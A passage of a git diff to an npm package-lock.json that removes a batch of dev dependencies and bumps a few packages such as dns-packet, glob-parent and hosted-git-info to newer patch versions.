"sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", "dev": true }, - "ci-info": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", - "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==", - "dev": true - }, "cipher-base": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.4.tgz", @@ -6316,18 +4658,6 @@ } } }, - "clean-stack": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", - "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", - "dev": true - }, - "cli-boxes": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz", - "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==", - "dev": true - }, "cli-cursor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", @@ -6337,30 +4667,12 @@ "restore-cursor": "^3.1.0" } }, - "cli-spinner": { - "version": "0.2.10", - "resolved": "https://registry.npmjs.org/cli-spinner/-/cli-spinner-0.2.10.tgz", - "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==", - "dev": true - }, - "cli-spinners": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.6.0.tgz", - "integrity": "sha512-t+4/y50K/+4xcCRosKkA7W4gTr1MySvLV0q+PxmG7FJ5g+66ChKurYjxBCjHggHH3HA5Hh9cy+lcUGWDqVH+4Q==", - "dev": true - }, "cli-width": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz", "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==", "dev": true }, - "clipanion": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.6.2.tgz", - "integrity": "sha512-0tOHJNMF9+4R3qcbBL+4IxLErpaYSYvzs10aXuECDbZdJOuJHdagJMAqvLdeaUQTI/o2uSCDRpet6ywDiKOAYw==", - "dev": true - }, "cliui": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", @@ -6406,12 +4718,6 @@ } } }, - "clone": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", - "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", - "dev": true - }, "clone-deep": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", @@ -6432,15 +4738,6 @@ "is-regexp": "^2.0.0" } }, - "clone-response": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", - "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", - "dev": true, - "requires": { - "mimic-response": "^1.0.0" - } - }, "code-point-at": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", @@ -6543,37 +4840,6 @@ "typedarray": "^0.0.6" } }, - "configstore": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz", - "integrity": "sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==", - "dev": true, - "requires": { - "dot-prop": "^5.2.0", - "graceful-fs": "^4.1.2", - "make-dir": "^3.0.0", - "unique-string": "^2.0.0", - "write-file-atomic": "^3.0.0", - "xdg-basedir": "^4.0.0" - }, - "dependencies": { - "make-dir": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", - "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", - "dev": true, - "requires": { - "semver": "^6.0.0" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } - } - }, "connect-history-api-fallback": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz", @@ -6920,12 +5186,6 @@ "randomfill": "^1.0.3" } }, - "crypto-random-string": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz", - "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==", - "dev": true - }, "css-loader": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", @@ -7338,23 +5598,6 @@ "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", "dev": true }, - "decompress-response": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", - "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", - "dev": true, - "requires": { - "mimic-response": "^3.1.0" - }, - "dependencies": { - "mimic-response": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", - "dev": true - } - } - }, "deep-equal": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.1.tgz", @@ -7369,12 +5612,6 @@ "regexp.prototype.flags": "^1.2.0" } }, - "deep-extend": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", - "dev": true - }, "deep-is": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", @@ -7391,21 +5628,6 @@ "ip-regex": "^2.1.0" } }, - "defaults": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.3.tgz", - "integrity": "sha1-xlYFHpgX2f8I7YgUd/P+QBnz730=", - "dev": true, - "requires": { - "clone": "^1.0.2" - } - }, - "defer-to-connect": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", - "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", - "dev": true - }, "define-properties": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", @@ -7555,12 +5777,6 @@ "integrity": "sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==", "dev": true }, - "diff": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", - "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", - "dev": true - }, "diff-sequences": { "version": "26.6.2", "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.6.2.tgz", @@ -7602,9 +5818,9 @@ "dev": true }, "dns-packet": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-1.3.1.tgz", - "integrity": "sha512-0UxfQkMhYAUaZI+xrNZOz/as5KgDU0M/fQ9b6SpkyLbk3GEswDi6PADJVaYJradtRVsRIlF1zLyOodbcTCDzUg==", + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-1.3.4.tgz", + "integrity": "sha512-BQ6F4vycLXBvdrJZ6S3gZewt6rcrks9KBgM9vrhW+knGRqc8uEdT7fuCwloc7nny5xNoMJ17HGH0R/6fpo8ECA==", "dev": true, "requires": { "ip": "^1.1.0", @@ -7620,55 +5836,6 @@ "buffer-indexof": "^1.0.0" } }, - "docker-modem": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/docker-modem/-/docker-modem-2.1.3.tgz", - "integrity": "sha512-cwaRptBmYZwu/FyhGcqBm2MzXA77W2/E6eVkpOZVDk6PkI9Bjj84xPrXiHMA+OWjzNy+DFjgKh8Q+1hMR7/OHg==", - "dev": true, - "requires": { - "debug": "^4.1.1", - "readable-stream": "^3.5.0", - "split-ca": "^1.0.1", - "ssh2": "^0.8.7" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - } - } - }, - "dockerfile-ast": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/dockerfile-ast/-/dockerfile-ast-0.2.0.tgz", - "integrity": "sha512-iQyp12k1A4tF3sEfLAq2wfFPKdpoiGTJeuiu2Y1bdEqIZu0DfSSL2zm0fk7a/UHeQkngnYaRRGuON+C+2LO1Fw==", - "dev": true, - "requires": { - "vscode-languageserver-types": "^3.16.0" - } - }, "doctrine": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", @@ -7757,40 +5924,11 @@ "domelementtype": "1" } }, - "dot-prop": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz", - "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==", - "dev": true, - "requires": { - "is-obj": "^2.0.0" - } - }, - "dotnet-deps-parser": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/dotnet-deps-parser/-/dotnet-deps-parser-5.0.0.tgz", - "integrity": "sha512-1l9K4UnQQHSfKgeHeLrxnB53AidCZqPyf9dkRL4/fZl8//NPiiDD43zHtgylw8DHlO7gvM8+O5a0UPHesNYZKw==", - "dev": true, - "requires": { - "lodash.isempty": "^4.4.0", - "lodash.set": "^4.3.2", - "lodash.uniq": "^4.5.0", - "source-map-support": "^0.5.7", - "tslib": "^1.10.0", - "xml2js": "0.4.23" - } - }, "downloadjs": { "version": "1.4.7", "resolved": "https://registry.npmjs.org/downloadjs/-/downloadjs-1.4.7.tgz", "integrity": "sha1-9p+W+UDg0FU9rCkROYZaPNAQHjw=" }, - "duplexer3": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", - "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=", - "dev": true - }, "duplexify": { "version": "3.7.1", "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz", @@ -7819,26 +5957,11 @@ "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=", "dev": true }, - "electron-to-chromium": { - "version": "1.3.713", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.713.tgz", - "integrity": "sha512-HWgkyX4xTHmxcWWlvv7a87RHSINEcpKYZmDMxkUlHcY+CJcfx7xEfBHuXVsO1rzyYs1WQJ7EgDp2CoErakBIow==", - "dev": true - }, "element-resize-event": { "version": "2.0.9", "resolved": "https://registry.npmjs.org/element-resize-event/-/element-resize-event-2.0.9.tgz", "integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY=" }, - "elfy": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/elfy/-/elfy-1.0.0.tgz", - "integrity": "sha512-4Kp3AA94jC085IJox+qnvrZ3PudqTi4gQNvIoTZfJJ9IqkRuCoqP60vCVYlIg00c5aYusi5Wjh2bf0cHYt+6gQ==", - "dev": true, - "requires": { - "endian-reader": "^0.3.0" - } - }, "elliptic": { "version": "6.5.4", "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz", @@ -7862,12 +5985,6 @@ } } }, - "email-validator": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/email-validator/-/email-validator-2.0.4.tgz", - "integrity": "sha512-gYCwo7kh5S3IDyZPLZf6hSS0MnZT8QmJFqYvbqlDZSbwdZlY6QZWxJ4i/6UhITOJ4XzyI647Bm2MXKCLqnJ4nQ==", - "dev": true - }, "emoji-regex": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", @@ -7902,12 +6019,6 @@ "once": "^1.4.0" } }, - "endian-reader": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/endian-reader/-/endian-reader-0.3.0.tgz", - "integrity": "sha1-hOykNrgK7Q0GOcRykTOLky7+UKA=", - "dev": true - }, "enhanced-resolve": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", @@ -7984,12 +6095,6 @@ "is-symbol": "^1.0.2" } }, - "es6-error": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", - "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", - "dev": true - }, "es6-templates": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/es6-templates/-/es6-templates-0.2.3.tgz", @@ -8006,12 +6111,6 @@ "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", "dev": true }, - "escape-goat": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/escape-goat/-/escape-goat-2.1.1.tgz", - "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==", - "dev": true - }, "escape-html": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", @@ -8105,9 +6204,9 @@ } }, "glob-parent": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz", - "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "dev": true, "requires": { "is-glob": "^4.0.1" @@ -8376,23 +6475,6 @@ "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=", "dev": true }, - "event-loop-spinner": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.1.0.tgz", - "integrity": "sha512-RJ10wL8/F9AlfBgRCvYctJIXSb9XkVmSCK3GGUvPD3dJrvTjDeDT0tmhcbEC6I2NEjNM9xD38HQJ4F/f/gb4VQ==", - "dev": true, - "requires": { - "tslib": "^2.1.0" - }, - "dependencies": { - "tslib": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", - "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", - "dev": true - } - } - }, "eventemitter3": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.4.tgz", @@ -9119,12 +7201,6 @@ "readable-stream": "^2.0.0" } }, - "fs-constants": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", - "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", - "dev": true - }, "fs-extra": { "version": "8.1.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", @@ -9136,15 +7212,6 @@ "universalify": "^0.1.0" } }, - "fs-minipass": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", - "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", - "dev": true, - "requires": { - "minipass": "^3.0.0" - } - }, "fs-readdir-recursive": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", @@ -9326,56 +7393,6 @@ "process": "^0.11.10" } }, - "global-agent": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-2.2.0.tgz", - "integrity": "sha512-+20KpaW6DDLqhG7JDiJpD1JvNvb8ts+TNl7BPOYcURqCrXqnN1Vf+XVOrkKJAFPqfX+oEhsdzOj1hLWkBTdNJg==", - "dev": true, - "requires": { - "boolean": "^3.0.1", - "core-js": "^3.6.5", - "es6-error": "^4.1.1", - "matcher": "^3.0.0", - "roarr": "^2.15.3", - "semver": "^7.3.2", - "serialize-error": "^7.0.1" - }, - "dependencies": { - "lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dev": true, - "requires": { - "yallist": "^4.0.0" - } - }, - "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dev": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - } - } - }, - "global-dirs": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-2.1.0.tgz", - "integrity": "sha512-MG6kdOUh/xBnyo9cJFeIKkLEc1AyFq42QTU4XiX51i2NEdxLxLWXIjEjmqKeSuKR7pAZjTqUVoT2b2huxVLgYQ==", - "dev": true, - "requires": { - "ini": "1.3.7" - } - }, "global-modules": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", @@ -9402,15 +7419,6 @@ "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", "dev": true }, - "globalthis": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.2.tgz", - "integrity": "sha512-ZQnSFO1la8P7auIOQECnm0sSuoMeaSq0EEdXMBFF2QJO4uNcwbyhSgG3MruWNbFTqCLmxVwGOl7LZ9kASvHdeQ==", - "dev": true, - "requires": { - "define-properties": "^1.1.3" - } - }, "globby": { "version": "11.0.3", "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.3.tgz", @@ -9465,51 +7473,12 @@ "minimist": "^1.2.5" } }, - "got": { - "version": "11.4.0", - "resolved": "https://registry.npmjs.org/got/-/got-11.4.0.tgz", - "integrity": "sha512-XysJZuZNVpaQ37Oo2LV90MIkPeYITehyy1A0QzO1JwOXm8EWuEf9eeGk2XuHePvLEGnm9AVOI37bHwD6KYyBtg==", - "dev": true, - "requires": { - "@sindresorhus/is": "^2.1.1", - "@szmarczak/http-timer": "^4.0.5", - "@types/cacheable-request": "^6.0.1", - "@types/responselike": "^1.0.0", - "cacheable-lookup": "^5.0.3", - "cacheable-request": "^7.0.1", - "decompress-response": "^6.0.0", - "http2-wrapper": "^1.0.0-beta.4.5", - "lowercase-keys": "^2.0.0", - "p-cancelable": "^2.0.0", - "responselike": "^2.0.0" - } - }, "graceful-fs": { "version": "4.2.4", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", "dev": true }, - "grapheme-splitter": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", - "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", - "dev": true - }, - "gunzip-maybe": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/gunzip-maybe/-/gunzip-maybe-1.4.2.tgz", - "integrity": "sha512-4haO1M4mLO91PW57BMsDFf75UmwoRX0GkdD+Faw+Lr+r/OZrOCS0pIBwOL1xCKQqnQzbNFGgK2V2CpBUPeFNTw==", - "dev": true, - "requires": { - "browserify-zlib": "^0.1.4", - "is-deflate": "^1.0.0", - "is-gzip": "^1.0.0", - "peek-stream": "^1.1.0", - "pumpify": "^1.3.3", - "through2": "^2.0.3" - } - }, "handle-thing": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", @@ -9611,12 +7580,6 @@ } } }, - "has-yarn": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/has-yarn/-/has-yarn-2.1.0.tgz", - "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==", - "dev": true - }, "hash-base": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.1.0.tgz", @@ -9657,34 +7620,6 @@ "minimalistic-assert": "^1.0.1" } }, - "hcl-to-json": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/hcl-to-json/-/hcl-to-json-0.1.1.tgz", - "integrity": "sha512-sj1RPsdgX/ilBGZGnyjbSHQbRe20hyA6VDXYBGJedHSCdwSWkr/7tr85N7FGeM7KvBjIQX7Gl897bo0Ug73Z/A==", - "dev": true, - "requires": { - "debug": "^3.0.1", - "lodash.get": "^4.4.2", - "lodash.set": "^4.3.2" - }, - "dependencies": { - "debug": { - "version": "3.2.7", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", - "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", - "dev": true, - "requires": { - "ms": "^2.1.1" - } - }, - "ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true - } - } - }, "he": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", @@ -9733,9 +7668,9 @@ } }, "hosted-git-info": { - "version": "2.8.8", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.8.tgz", - "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==", + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", "dev": true }, "hpack.js": { @@ -9878,12 +7813,6 @@ } } }, - "http-cache-semantics": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", - "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==", - "dev": true - }, "http-deceiver": { "version": "1.2.7", "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", @@ -9945,16 +7874,6 @@ "sshpk": "^1.7.0" } }, - "http2-wrapper": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", - "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", - "dev": true, - "requires": { - "quick-lru": "^5.1.1", - "resolve-alpn": "^1.0.0" - } - }, "https-browserify": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz", @@ -9995,12 +7914,6 @@ "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", "dev": true }, - "immediate": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", - "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=", - "dev": true - }, "import-fresh": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.2.1.tgz", @@ -10010,12 +7923,6 @@ "resolve-from": "^4.0.0" } }, - "import-lazy": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz", - "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=", - "dev": true - }, "import-local": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/import-local/-/import-local-2.0.0.tgz", @@ -10245,12 +8152,6 @@ "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", "dev": true }, - "is": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/is/-/is-3.3.0.tgz", - "integrity": "sha512-nW24QBoPcFGGHJGUwnfpI7Yc5CdqWNdsyHQszVE/z2pKHXzh7FZ5GWhJqSyaQ9wMkQnsTx+kAI8bHlCX4tKdbg==", - "dev": true - }, "is-absolute-url": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-3.0.3.tgz", @@ -10340,15 +8241,6 @@ "integrity": 